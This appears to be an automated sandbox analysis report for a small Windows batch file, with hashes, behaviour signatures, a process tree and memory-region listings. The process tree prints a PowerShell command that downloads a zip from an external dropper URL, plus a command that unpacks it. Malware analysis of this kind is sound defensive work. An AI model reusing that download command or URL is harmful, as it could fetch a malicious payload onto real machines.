Analysis

  • max time kernel
    1557s
  • max time network
    1562s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14-10-2023 01:31

General

  • Target

    tesy - Copy.bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2984
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2580

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    feecd7b40478591c6ae4bb61524bd977

    SHA1

    4f1f073e744615eaf62a67b91b189f2c9dccb159

    SHA256

    ce2b35878138cf730bf6612300214221ce6419aea25f75a9891f07c64429a407

    SHA512

    f2fe8de34324a0b3663c29daadb06d389df1cdca856316021491cc25b467df609b376bd5d3603a0771135218d1aa425160a3cc4981c2f64f2cf3be2731d9ae8b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XFKETU1NJ0Y9DG86IE9P.temp

    Filesize

    7KB

    MD5

    feecd7b40478591c6ae4bb61524bd977

    SHA1

    4f1f073e744615eaf62a67b91b189f2c9dccb159

    SHA256

    ce2b35878138cf730bf6612300214221ce6419aea25f75a9891f07c64429a407

    SHA512

    f2fe8de34324a0b3663c29daadb06d389df1cdca856316021491cc25b467df609b376bd5d3603a0771135218d1aa425160a3cc4981c2f64f2cf3be2731d9ae8b

  • memory/2580-19-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

    Filesize

    9.6MB

  • memory/2580-22-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB

  • memory/2580-26-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

    Filesize

    9.6MB

  • memory/2580-25-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB

  • memory/2580-24-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB

  • memory/2580-23-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB

  • memory/2580-21-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

    Filesize

    9.6MB

  • memory/2580-20-0x00000000023A0000-0x00000000023A8000-memory.dmp

    Filesize

    32KB

  • memory/2580-18-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

    Filesize

    2.9MB

  • memory/2984-5-0x0000000002670000-0x0000000002678000-memory.dmp

    Filesize

    32KB

  • memory/2984-4-0x000000001B140000-0x000000001B422000-memory.dmp

    Filesize

    2.9MB

  • memory/2984-6-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2984-12-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2984-7-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2984-10-0x00000000024F0000-0x0000000002570000-memory.dmp

    Filesize

    512KB

  • memory/2984-9-0x00000000024F0000-0x0000000002570000-memory.dmp

    Filesize

    512KB

  • memory/2984-8-0x00000000024F0000-0x0000000002570000-memory.dmp

    Filesize

    512KB